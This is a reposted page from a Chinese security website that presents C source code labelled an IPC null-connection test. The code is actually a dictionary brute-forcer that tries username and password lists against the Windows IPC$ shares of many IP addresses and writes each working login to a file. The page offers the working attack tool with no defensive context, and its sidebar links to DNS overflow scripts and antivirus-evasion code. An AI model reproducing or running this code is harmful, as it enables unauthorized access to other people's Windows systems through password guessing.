| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 网络安全首页 | 信道安全 | 设备安全 | 协议安全 | Web安全 |
IPC空连接测试代码
IPC空连接测试代码
作者:未知 文章来源:互联网 点击数: 更新时间:2008-4-13 17:08:53

  //****************************************************

  //****** 网蝉工具--135弱口令猜解器 ******

  //ip.txt纪录要猜测的IP地址。

  //user.txt纪录要猜测的用户名。

  //password.txt纪录要猜测的密码。

  //3个文件格式为标准的字典文件, 方便与修改和承接其他扫描器扫出的结果。

  //****************************************************

  #include "windows.h"

  #include "stdio.h"

  #include

  #pragma comment(lib,"mpr")

  int main(int argc, char* argv[])

  {

  NETRESOURCE nr;

  DWORD res;

  TCHAR server[100]="";

  FILE *ipfile,*userfile,*passfile,*ipokfile;

  TCHAR ipString[15],userString[32],passString[32],okip[200];

  if((ipfile=fopen("ip.txt","r"))==NULL)

  {

  printf("ip.txt文件不存在!");

  exit(0);

  }

  // fseek(ipfile,0,SEEK_SET);

  while (fgets(ipString,sizeof(ipString),ipfile)!=NULL)

  {

  if((userfile=fopen("user.txt","r"))==NULL)

  {

  printf("user.txt文件不存在!");

  exit(0);

  }

  // fseek(userfile,0,SEEK_SET);

  while(fgets(userString,sizeof(userString),userfile)!=NULL)

  {

  if((passfile=fopen("password.txt","r"))==NULL)

  {

  printf("password.txt文件不存在!");

  exit(0);

  }

  // fseek(passfile,0,SEEK_SET);

  while(fgets(passString,sizeof(passString),passfile)!=NULL)

  {

  strtok(ipString,"\n");

  strtok(userString,"\x0a");

  strtok(passString,"\x0a");

  // printf("%s",ipString);

  // printf("%s",userString);

  // printf("%s",passString);

  sprintf(server,"\\\\%s\\ipc$",ipString);

  strtok(server,"\x0a");

  // printf("%s",server);

  nr.dwType=RESOURCETYPE_ANY;

  nr.lpLocalName=NULL;

  nr.lpRemoteName=server;

  nr.lpProvider=NULL;

  res=WNetAddConnection2(&nr,passString,userString,0);//创建IPC连接

  // if(res!=ERROR_SUCCESS)

  // {

  // printf("\nipc连接失败\n");

  // return 0;

  // }

  // else

  // printf("\npic$连接成功\n");

  res=WNetCancelConnection2(server,0,TRUE);//断开IPC连接

  if(res!=ERROR_SUCCESS)

  {

  printf("%s IPC连接失败\n",ipString);

  }

  else

  {

  // printf("\n成功了\n");

  sprintf(okip,"%s %s %s\n",ipString,userString,passString);

  // printf("%s",okip);

  if((ipokfile=fopen("ipok.txt","a"))==NULL)//将输出结果写入ipok.txt

  {

  printf("ipok.txt文件正在被别的文件所占用");

  exit(0);

  }

  // fseek(ipokfile,0,SEEK_END);

  fputs(okip,ipokfile);

  fclose(ipokfile);

  }

  }

  fclose(passfile);

  }

  fclose(userfile);

  }

  fclose(ipfile);

  return 0;

  }

文章录入:小张    责任编辑:小张 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    所有"暴力删除工具"无语
    修改代码防止被杀件误删
    DNS批量溢出批处理代码
    DNS批量溢出批处理代码
    万能asp防注代码
    字节码防止内存错误提高
    万能asp防注代码
    万能asp防注代码
    甲骨文自爆安全漏洞代码
    Apple Safari javas
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有